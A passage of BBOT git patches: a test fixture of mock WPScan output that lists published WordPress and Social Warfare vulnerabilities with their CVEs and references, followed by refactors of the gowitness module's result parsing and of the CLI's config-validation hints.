"WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache", - "fixed_in": "5.3.3", - "references": { - "cve": [ - "2020-11029" - ], - "url": [ - "https://wordpress.org/news/2020/04/wordpress-5-4-1/", - "https://core.trac.wordpress.org/changeset/47637/", - "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c" - ], - "wpvulndb": [ - "e721d8b9-a38f-44ac-8520-b4a9ed6a5157" - ] - } - }, - { - "title": "WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads", - "fixed_in": "5.3.3", - "references": { - "cve": [ - "2020-11026" - ], - "url": [ - "https://wordpress.org/news/2020/04/wordpress-5-4-1/", - "https://core.trac.wordpress.org/changeset/47638/", - "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2", - "https://hackerone.com/reports/179695" - ], - "wpvulndb": [ - "55438b63-5fc9-4812-afc4-2f1eff800d5f" - ] - } - }, - { - "title": "WordPress < 5.4.2 - Authenticated XSS in Block Editor", - "fixed_in": "5.3.4", - "references": { - "cve": [ - "2020-4046" - ], - "url": [ - "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf", - "https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/" - ], - "youtube": [ - "https://www.youtube.com/watch?v=tCh7Y8z8fb4" - ], - "wpvulndb": [ - "831e4a94-239c-4061-b66e-f5ca0dbb84fa" - ] - } - }, - { - "title": "WordPress < 5.4.2 - Authenticated XSS via Media Files", - "fixed_in": "5.3.4", - "references": { - "cve": [ - "2020-4047" - ], - "url": [ - "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27" - ], - "wpvulndb": [ - "741d07d1-2476-430a-b82f-e1228a9343a4" - ] - } - }, - { - "title": "WordPress < 5.4.2 - Open Redirection", - "fixed_in": "5.3.4", - "references": { - "cve": [ - "2020-4048" - ], - "url": [ - "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/", - "https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5" - ], - "wpvulndb": [ - "12855f02-432e-4484-af09-7d0fbf596909" - ] - } - }, - { - "title": "WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload", - "fixed_in": "5.3.4", - "references": { - "cve": [ - "2020-4049" - ], - "exploitdb": [ - "48770" - ], - "url": [ - "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p", - "https://hackerone.com/reports/406289" - ], - "wpvulndb": [ - "d8addb42-e70b-4439-b828-fd0697e5d9d4" - ] - } - }, - { - "title": "WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation", - "fixed_in": "5.3.4", - "references": { - "cve": [ - "2020-4050" - ], - "url": [ - "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/", - "https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc" - ], - "wpvulndb": [ - "b6f69ff1-4c11-48d2-b512-c65168988c45" - ] - } - }, - { - "title": "WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments", - "fixed_in": "5.3.4", - "references": { - "cve": [ - "2020-25286" - ], - "url": [ - "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/", - "https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122" - ], - "wpvulndb": [ - "eea6dbf5-e298-44a7-9b0d-f078ad4741f9" - ] - } - }, - { - "title": "WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure", - "fixed_in": "5.3.7", - "references": { - "cve": [ - "2021-29450" - ], - "url": [ - "https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/", - "https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html", - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq", - "https://core.trac.wordpress.org/changeset/50717/" - ], - "youtube": [ - "https://www.youtube.com/watch?v=J2GXmxAdNWs" - ], - "wpvulndb": [ - "6a3ec618-c79e-4b9c-9020-86b157458ac5" - ] - } - }, - { - "title": "WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer", - "fixed_in": "5.3.8", - "references": { - "cve": [ - "2020-36326", - "2018-19296" - ], - "url": [ - "https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62", - "https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/", - "https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9", - "https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/" - ], - "youtube": [ - "https://www.youtube.com/watch?v=HaW15aMzBUM" - ], - "wpvulndb": [ - "4cd46653-4470-40ff-8aac-318bee2f998d" - ] - } - }, - { - "title": "WordPress < 5.8.2 - Expired DST Root CA X3 Certificate", - "fixed_in": "5.3.10", - "references": { - "url": [ - "https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/", - "https://core.trac.wordpress.org/ticket/54207" - ], - "wpvulndb": [ - "cc23344a-5c91-414a-91e3-c46db614da8d" - ] - } - }, - { - "title": "WordPress < 5.8 - Plugin Confusion", - "fixed_in": "5.8", - "references": { - "cve": [ - "2021-44223" - ], - "url": [ - "https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/" - ], - "wpvulndb": [ - "95e01006-84e4-4e95-b5d7-68ea7b5aa1a8" - ] - } - }, - { - "title": "WordPress < 5.8.3 - SQL Injection via WP_Query", - "fixed_in": "5.3.11", - "references": { - "cve": [ - "2022-21661" - ], - "url": [ - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84", - "https://hackerone.com/reports/1378209" - ], - "wpvulndb": [ - "7f768bcf-ed33-4b22-b432-d1e7f95c1317" - ] - } - }, - { - "title": "WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs", - "fixed_in": "5.3.11", - "references": { - "cve": [ - "2022-21662" - ], - "url": [ - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w", - "https://hackerone.com/reports/425342", - "https://blog.sonarsource.com/wordpress-stored-xss-vulnerability" - ], - "wpvulndb": [ - "dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8" - ] - } - }, - { - "title": "WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query", - "fixed_in": "5.3.11", - "references": { - "cve": [ - "2022-21664" - ], - "url": [ - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86" - ], - "wpvulndb": [ - "24462ac4-7959-4575-97aa-a6dcceeae722" - ] - } - }, - { - "title": "WordPress < 5.8.3 - Super Admin Object Injection in Multisites", - "fixed_in": "5.3.11", - "references": { - "cve": [ - "2022-21663" - ], - "url": [ - "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h", - "https://hackerone.com/reports/541469" - ], - "wpvulndb": [ - "008c21ab-3d7e-4d97-b6c3-db9d83f390a7" - ] - } - }, - { - "title": "WordPress < 5.9.2 - Prototype Pollution in jQuery", - "fixed_in": "5.3.12", - "references": { - "url": [ - "https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/" - ], - "wpvulndb": [ - "1ac912c1-5e29-41ac-8f76-a062de254c09" - ] - } - }, - { - "title": "WP < 6.0.2 - Reflected Cross-Site Scripting", - "fixed_in": "5.3.13", - "references": { - "url": [ - "https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/" - ], - "wpvulndb": [ - "622893b0-c2c4-4ee7-9fa1-4cecef6e36be" - ] - } - }, - { - "title": "WP < 6.0.2 - Authenticated Stored Cross-Site Scripting", - "fixed_in": "5.3.13", - "references": { - "url": [ - "https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/" - ], - "wpvulndb": [ - "3b1573d4-06b4-442b-bad5-872753118ee0" - ] - } - }, - { - "title": "WP < 6.0.2 - SQLi via Link API", - "fixed_in": "5.3.13", - "references": { - "url": [ - "https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/" - ], - "wpvulndb": [ - "601b0bf9-fed2-4675-aec7-fed3156a022f" - ] - } - }, - { - "title": "WP < 6.0.3 - Stored XSS via wp-mail.php", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283" - ], - "wpvulndb": [ - "713bdc8b-ab7c-46d7-9847-305344a579c4" - ] - } - }, - { - "title": "WP < 6.0.3 - Open Redirect via wp_nonce_ays", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095" - ], - "wpvulndb": [ - "926cd097-b36f-4d26-9c51-0dfab11c301b" - ] - } - }, - { - "title": "WP < 6.0.3 - Email Address Disclosure via wp-mail.php", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44" - ], - "wpvulndb": [ - "c5675b59-4b1d-4f64-9876-068e05145431" - ] - } - }, - { - "title": "WP < 6.0.3 - Reflected XSS via SQLi in Media Library", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc" - ], - "wpvulndb": [ - "cfd8b50d-16aa-4319-9c2d-b227365c2156" - ] - } - }, - { - "title": "WP < 6.0.3 - CSRF in wp-trackback.php", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0" - ], - "wpvulndb": [ - "b60a6557-ae78-465c-95bc-a78cf74a6dd0" - ] - } - }, - { - "title": "WP < 6.0.3 - Stored XSS via the Customizer", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef" - ], - "wpvulndb": [ - "2787684c-aaef-4171-95b4-ee5048c74218" - ] - } - }, - { - "title": "WP < 6.0.3 - Stored XSS via Comment Editing", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955" - ], - "wpvulndb": [ - "02d76d8e-9558-41a5-bdb6-3957dc31563b" - ] - } - }, - { - "title": "WP < 6.0.3 - Content from Multipart Emails Leaked", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8" - ], - "wpvulndb": [ - "3f707e05-25f0-4566-88ed-d8d0aff3a872" - ] - } - }, - { - "title": "WP < 6.0.3 - SQLi in WP_Date_Query", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f" - ], - "wpvulndb": [ - "1da03338-557f-4cb6-9a65-3379df4cce47" - ] - } - }, - { - "title": "WP < 6.0.3 - Stored XSS via RSS Widget", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492" - ], - "wpvulndb": [ - "58d131f5-f376-4679-b604-2b888de71c5b" - ] - } - }, - { - "title": "WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e" - ], - "wpvulndb": [ - "b27a8711-a0c0-4996-bd6a-01734702913e" - ] - } - }, - { - "title": "WP < 6.0.3 - Multiple Stored XSS via Gutenberg", - "fixed_in": "5.3.14", - "references": { - "url": [ - "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/", - "https://github.com/WordPress/gutenberg/pull/45045/files" - ], - "wpvulndb": [ - "f513c8f6-2e1c-45ae-8a58-36b6518e2aa9" - ] - } - }, - { - "title": "WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding", - "fixed_in": null, - "references": { - "cve": [ - "2022-3590" - ], - "url": [ - "https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/" - ], - "wpvulndb": [ - "c8814e6e-78b3-4f63-a1d3-6906a84c1f11" - ] - } - }, - { - "title": "WP < 6.2.1 - Directory Traversal via Translation Files", - "fixed_in": "5.3.15", - "references": { - "cve": [ - "2023-2745" - ], - "url": [ - "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/" - ], - "wpvulndb": [ - "2999613a-b8c8-4ec0-9164-5dfe63adf6e6" - ] - } - }, - { - "title": "WP < 6.2.1 - Thumbnail Image Update via CSRF", - "fixed_in": "5.3.15", - "references": { - "url": [ - "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/" - ], - "wpvulndb": [ - "a03d744a-9839-4167-a356-3e7da0f1d532" - ] - } - }, - { - "title": "WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery", - "fixed_in": "5.3.15", - "references": { - "url": [ - "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/" - ], - "wpvulndb": [ - "3b574451-2852-4789-bc19-d5cc39948db5" - ] - } - }, - { - "title": "WP < 6.2.2 - Shortcode Execution in User Generated Data", - "fixed_in": "5.3.15", - "references": { - "url": [ - "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/", - "https://wordpress.org/news/2023/05/wordpress-6-2-2-security-release/" - ], - "wpvulndb": [ - "ef289d46-ea83-4fa5-b003-0352c690fd89" - ] - } - }, - { - "title": "WP < 6.2.1 - Contributor+ Content Injection", - "fixed_in": "5.3.15", - "references": { - "url": [ - "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/" - ], - "wpvulndb": [ - "1527ebdb-18bc-4f9d-9c20-8d729a628670" - ] - } - }, - { - "title": "WP < 6.3.2 - Denial of Service via Cache Poisoning", - "fixed_in": "5.3.16", - "references": { - "url": [ - "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/" - ], - "wpvulndb": [ - "6d80e09d-34d5-4fda-81cb-e703d0e56e4f" - ] - } - }, - { - "title": "WP < 6.3.2 - Subscriber+ Arbitrary Shortcode Execution", - "fixed_in": "5.3.16", - "references": { - "url": [ - "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/" - ], - "wpvulndb": [ - "3615aea0-90aa-4f9a-9792-078a90af7f59" - ] - } - }, - { - "title": "WP < 6.3.2 - Contributor+ Comment Disclosure", - "fixed_in": "5.3.16", - "references": { - "cve": [ - "2023-39999" - ], - "url": [ - "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/" - ], - "wpvulndb": [ - "d35b2a3d-9b41-4b4f-8e87-1b8ccb370b9f" - ] - } - }, - { - "title": "WP < 6.3.2 - Unauthenticated Post Author Email Disclosure", - "fixed_in": "5.3.16", - "references": { - "cve": [ - "2023-5561" - ], - "url": [ - "https://wpscan.com/blog/email-leak-oracle-vulnerability-addressed-in-wordpress-6-3-2/", - "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/" - ], - "wpvulndb": [ - "19380917-4c27-4095-abf1-eba6f913b441" - ] - } - }, - { - "title": "WordPress < 6.4.3 - Deserialization of Untrusted Data", - "fixed_in": "5.3.17", - "references": { - "url": [ - "https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/" - ], - "wpvulndb": [ - "5e9804e5-bbd4-4836-a5f0-b4388cc39225" - ] - } - }, - { - "title": "WordPress < 6.4.3 - Admin+ PHP File Upload", - "fixed_in": "5.3.17", - "references": { - "url": [ - "https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/" - ], - "wpvulndb": [ - "a8e12fbe-c70b-4078-9015-cf57a05bdd4a" - ] - } - } - ] - }, - "main_theme": null, - "plugins": { - "social-warfare": { - "slug": "social-warfare", - "location": "http://127.0.0.1:8888/wp-content/plugins/social-warfare/", - "latest_version": "4.4.6.3", - "last_updated": "2024-04-07T19:32:00.000Z", - "outdated": true, - "readme_url": null, - "directory_listing": null, - "error_log_url": null, - "found_by": "Comment (Passive Detection)", - "confidence": 30, - "interesting_entries": [ - - ], - "confirmed_by": { - - }, - "vulnerabilities": [ - { - "title": "Social Warfare <= 3.5.2 - Unauthenticated Arbitrary Settings Update", - "fixed_in": "3.5.3", - "references": { - "cve": [ - "2019-9978" - ], - "url": [ - "https://wordpress.org/support/topic/malware-into-new-update/", - "https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/", - "https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/", - "https://twitter.com/warfareplugins/status/1108826025188909057", - "https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/" - ], - "wpvulndb": [ - "32085d2d-1235-42b4-baeb-bc43172a4972" - ] - } - }, - { - "title": "Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)", - "fixed_in": "3.5.3", - "references": { - "url": [ - "https://www.webarxsecurity.com/social-warfare-vulnerability/" - ], - "wpvulndb": [ - "7b412469-cc03-4899-b397-38580ced5618" - ] - } - }, - { - "title": "Social Warfare < 4.3.1 - Subscriber+ Post Meta Deletion", - "fixed_in": "4.3.1", - "references": { - "cve": [ - "2023-0402" - ], - "wpvulndb": [ - "5116068f-4b84-42ad-a88d-03e46096b41c" - ] - } - }, - { - "title": "Social Warfare < 4.4.0 - Post Meta Deletion via CSRF", - "fixed_in": "4.4.0", - "references": { - "cve": [ - "2023-0403" - ], - "wpvulndb": [ - "7140abf5-5966-4361-bd51-ee29d3071a30" - ] - } - }, - { - "title": "Social Sharing Plugin - Social Warfare < 4.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode", - "fixed_in": "4.4.4", - "references": { - "cve": [ - "2023-4842" - ], - "url": [ - "https://www.wordfence.com/threat-intel/vulnerabilities/id/8f5b9aff-0833-4887-ae59-df5bc88c7f91" - ], - "wpvulndb": [ - "ab221b58-369e-4010-ae36-be099b2f4c9b" - ] - } - }, - { - "title": "Social Sharing Plugin – Social Warfare < 4.4.6.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Shortcode", - "fixed_in": "4.4.6.2", - "references": { - "cve": [ - "2024-1959" - ], - "url": [ - "https://www.wordfence.com/threat-intel/vulnerabilities/id/1016f16c-0ab2-4cac-a7a5-8d93a37e7894" - ], - "wpvulndb": [ - "26ad138e-990a-4401-84e4-ea694ccf6e7f" - ] - } - }, - { - "title": "Social Sharing Plugin – Social Warfare < 4.4.6 - Cross-Site Request Forgery", - "fixed_in": "4.4.6", - "references": { - "cve": [ - "2024-34825" - ], - "url": [ - "https://www.wordfence.com/threat-intel/vulnerabilities/id/f105bee6-21b2-4014-bb0a-9e53c49e29b0" - ], - "wpvulndb": [ - "acb8b33c-6b74-4d65-a3a5-5cad0c1ea8b0" - ] - } - } - ], - "version": { - "number": "3.5.2", - "confidence": 100, - "found_by": "Comment (Passive Detection)", - "interesting_entries": [ - "http://127.0.0.1:8888/, Match: 'Social Warfare v3.5.2'" - ], - "confirmed_by": { - "Readme - Stable Tag (Aggressive Detection)": { - "confidence": 80, - "interesting_entries": [ - "http://127.0.0.1:8888/wp-content/plugins/social-warfare/readme.txt" - ] - }, - "Readme - ChangeLog Section (Aggressive Detection)": { - "confidence": 50, - "interesting_entries": [ - "http://127.0.0.1:8888/wp-content/plugins/social-warfare/readme.txt" - ] - } - } - } - } - }, - "config_backups": { - - }, - "vuln_api": { - "plan": "free", - "requests_done_during_scan": 0, - "requests_remaining": 15 - }, - "stop_time": 1717183322, - "elapsed": 3, - "requests_done": 169, - "cached_requests": 6, - "data_sent": 59178, - "data_sent_humanised": "57.791 KB", - "data_received": 313184, - "data_received_humanised": "305.844 KB", - "used_memory": 225398784, - "used_memory_humanised": "214.957 MB" -}""" - - async def setup_after_prep(self, module_test): - async def wpscan_mock_run(*command, **kwargs): - return CompletedProcess(command, 0, self.wpscan_output_json, "") - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run", wpscan_mock_run) - - def check(self, module_test, events): - findings = [e for e in events if e.type == "FINDING"] - technologies = [e for e in events if e.type == "TECHNOLOGY"] - # Original expectation: 1 finding + 59 vulnerabilities = 60 FINDING events (all are now FINDING events) - assert len(findings) == 60, f"Expected 60 FINDING events, got {len(findings)}" - assert len(technologies) == 4 From e381ee5a84551a6467ce4510ac719651ac560102 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 18:49:22 -0400 Subject: [PATCH 897/912] gowitness: warn when a batch produces no results --- bbot/modules/gowitness.py | 164 +++++++++++++++++++------------------- 1 file changed, 82 insertions(+), 82 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 3a548fc856..5e0ce0daab 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -182,99 +182,99 @@ async def handle_batch(self, *events): self.warning(f"Gowitness timed out while visiting the following URLs: {urls_str}", trace=False) return - await self.emit_results(db_path) + try: + await self.emit_results(db_path) + except aiosqlite.Error as e: + # gowitness exited before writing a usable database (chrome likely failed to + # launch), so the whole batch produced nothing + self.warning( + f"Gowitness produced no results for {len(events)} URLs; chrome may have failed to launch ({e})", + trace=False, + ) finally: # discard the batch database; the screenshots themselves live on disk db_path.unlink(missing_ok=True) async def emit_results(self, db_path): - # gowitness result_id -> the URL it visited, used to attribute child rows back to their page - result_urls = {} - - # screenshots - async for row in self._read_rows(db_path, "SELECT * FROM results"): - raw_url = row["url"] - result_urls[row["id"]] = raw_url - final_url = row["final_url"] - filename = self.screenshot_path / row["filename"] - filename = filename.relative_to(self.scan.home) - # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it. - filename = self.helpers.truncate_filename(filename) - parent_event = self._resolve_parent(raw_url) - if parent_event is None: - self.warning(f"Could not correlate screenshot to parent event for URL: {raw_url}") - continue - await self.emit_event( - {"path": str(filename), "url": final_url}, - "WEBSCREENSHOT", - parent=parent_event, - context=f"{{module}} visited {final_url} and saved {{event.type}} to {filename}", - ) - self.screenshot_count += 1 - - # network logs -> URLs (one event per unique URL within the batch) - seen_urls = set() - async for row in self._read_rows(db_path, "SELECT * FROM network_logs"): - url = row["url"] - if not (url and url.startswith("http")) or url in seen_urls: - continue - seen_urls.add(url) - raw_parent_url = result_urls.get(row["result_id"]) - if raw_parent_url is None: - continue - parent_event = self._resolve_parent(raw_parent_url) - if parent_event is None: - self.warning(f"Could not correlate network log to parent event for URL: {raw_parent_url}") - continue - ip = row["remote_ip"] - url_event = self.make_event( - url, - "URL_UNVERIFIED", - parent=parent_event, - tags=[f"status-{row['status_code']}", "spider-danger"], - context=f"{{module}} visited {{event.type}}: {url}", - ) - if url_event and ip: - url_event.resolved_hosts = (sys.intern(ip),) - await self.emit_event(url_event) - - # technologies - async for row in self._read_rows(db_path, "SELECT * FROM technologies"): - raw_parent_url = result_urls.get(row["result_id"]) - if raw_parent_url is None: - continue - parent_event = self._resolve_parent(raw_parent_url) - if parent_event is None: - self.warning(f"Could not correlate technology to parent event for URL: {raw_parent_url}") - continue - technology = row["value"] - parent_url = self.helpers.clean_url(raw_parent_url).geturl() - await self.emit_event( - {"technology": technology, "url": parent_url, "host": str(parent_event.host)}, - "TECHNOLOGY", - parent=parent_event, - context=f"{{module}} visited {parent_url} and found {{event.type}}: {technology}", - ) - - async def _read_rows(self, db_path, query): - """Yield rows from a batch's gowitness database, tolerating a missing schema. - - When chrome fails to launch, gowitness exits before creating its tables, - leaving an empty database. Treat that as zero rows instead of raising. - """ if not db_path.is_file(): return async with aiosqlite.connect(str(db_path)) as con: con.row_factory = aiosqlite.Row con.text_factory = self.helpers.smart_decode - try: - cur = await con.execute(query) - except aiosqlite.OperationalError as e: - self.debug(f"No gowitness results in {db_path.name} ({e})") - return - async with cur: + + # gowitness result_id -> the URL it visited, used to attribute child rows back to their page + result_urls = {} + + # screenshots + async with con.execute("SELECT * FROM results") as cur: + async for row in cur: + row = dict(row) + raw_url = row["url"] + result_urls[row["id"]] = raw_url + final_url = row["final_url"] + filename = self.screenshot_path / row["filename"] + filename = filename.relative_to(self.scan.home) + # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it. + filename = self.helpers.truncate_filename(filename) + parent_event = self._resolve_parent(raw_url) + if parent_event is None: + self.warning(f"Could not correlate screenshot to parent event for URL: {raw_url}") + continue + await self.emit_event( + {"path": str(filename), "url": final_url}, + "WEBSCREENSHOT", + parent=parent_event, + context=f"{{module}} visited {final_url} and saved {{event.type}} to {filename}", + ) + self.screenshot_count += 1 + + # network logs -> URLs (one event per unique URL within the batch) + seen_urls = set() + async with con.execute("SELECT * FROM network_logs") as cur: + async for row in cur: + row = dict(row) + url = row["url"] + if not (url and url.startswith("http")) or url in seen_urls: + continue + seen_urls.add(url) + raw_parent_url = result_urls.get(row["result_id"]) + if raw_parent_url is None: + continue + parent_event = self._resolve_parent(raw_parent_url) + if parent_event is None: + self.warning(f"Could not correlate network log to parent event for URL: {raw_parent_url}") + continue + ip = row["remote_ip"] + url_event = self.make_event( + url, + "URL_UNVERIFIED", + parent=parent_event, + tags=[f"status-{row['status_code']}", "spider-danger"], + context=f"{{module}} visited {{event.type}}: {url}", + ) + if url_event and ip: + url_event.resolved_hosts = (sys.intern(ip),) + await self.emit_event(url_event) + + # technologies + async with con.execute("SELECT * FROM technologies") as cur: async for row in cur: - yield dict(row) + row = dict(row) + raw_parent_url = result_urls.get(row["result_id"]) + if raw_parent_url is None: + continue + parent_event = self._resolve_parent(raw_parent_url) + if parent_event is None: + self.warning(f"Could not correlate technology to parent event for URL: {raw_parent_url}") + continue + technology = row["value"] + parent_url = self.helpers.clean_url(raw_parent_url).geturl() + await self.emit_event( + {"technology": technology, "url": parent_url, "host": str(parent_event.host)}, + "TECHNOLOGY", + parent=parent_event, + context=f"{{module}} visited {parent_url} and found {{event.type}}: {technology}", + ) def construct_command(self, db_path): # base executable From 8bc0640b34f780953dadbac9a9e189be5b00c8de Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 19:21:56 -0400 Subject: [PATCH 898/912] Replace stale-config nag with a validation-driven reset hint The per-run hash nag false-flagged hand-written/minimal configs as stale on every run, since an unstamped file is indistinguishable from an old one. Drop the hash machinery; keep --reset-config/--reset-secrets. On a real validation failure, hint at the reset flag only when the bad option actually lives in a generated config file (not a -c CLI typo). --- bbot/cli.py | 36 +++++++++----- bbot/core/modules.py | 58 ++-------------------- bbot/test/test_step_1/test_cli.py | 71 +++++++++++++++++++++------ bbot/test/test_step_1/test_presets.py | 70 ++++++-------------------- 4 files changed, 102 insertions(+), 133 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index df4adbc368..3f6e4fc57c 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -75,16 +75,6 @@ async def _main(): if requested ] - # warn (once) about any generated config file that predates / no longer - # matches the current option set -- but not one we're about to reset - for spec in preset.module_loader.stale_config_files(): - if spec["label"] in reset_labels: - continue - log.warning( - f"Your BBOT {spec['label']} at {spec['path']} was generated with an older version of bbot " - f"with different settings. Run `bbot {spec['reset_flag']}` to regenerate it from current defaults." - ) - # print help if no arguments if len(sys.argv) == 1: print(preset.args.parser.format_help()) @@ -209,7 +199,31 @@ async def _main(): print(row) return - preset.validate() + try: + preset.validate() + except ValidationError as e: + log.error(str(e)) + # if a bad option actually lives in one of the user's generated + # config files (vs, say, a -c CLI typo), point them at the matching + # reset flag -- validate each file's own contents to be sure + import yaml + from bbot.scanner.preset.validate import validate_preset + + for spec in preset.module_loader._generated_config_files(): + if not spec["path"].exists(): + continue + try: + file_config = yaml.safe_load(spec["path"].read_text()) or {} + except yaml.YAMLError: + continue + if isinstance(file_config, dict) and validate_preset( + {"config": file_config}, module_loader=preset.module_loader + ): + log.info( + f"Some options in {spec['path']} are not 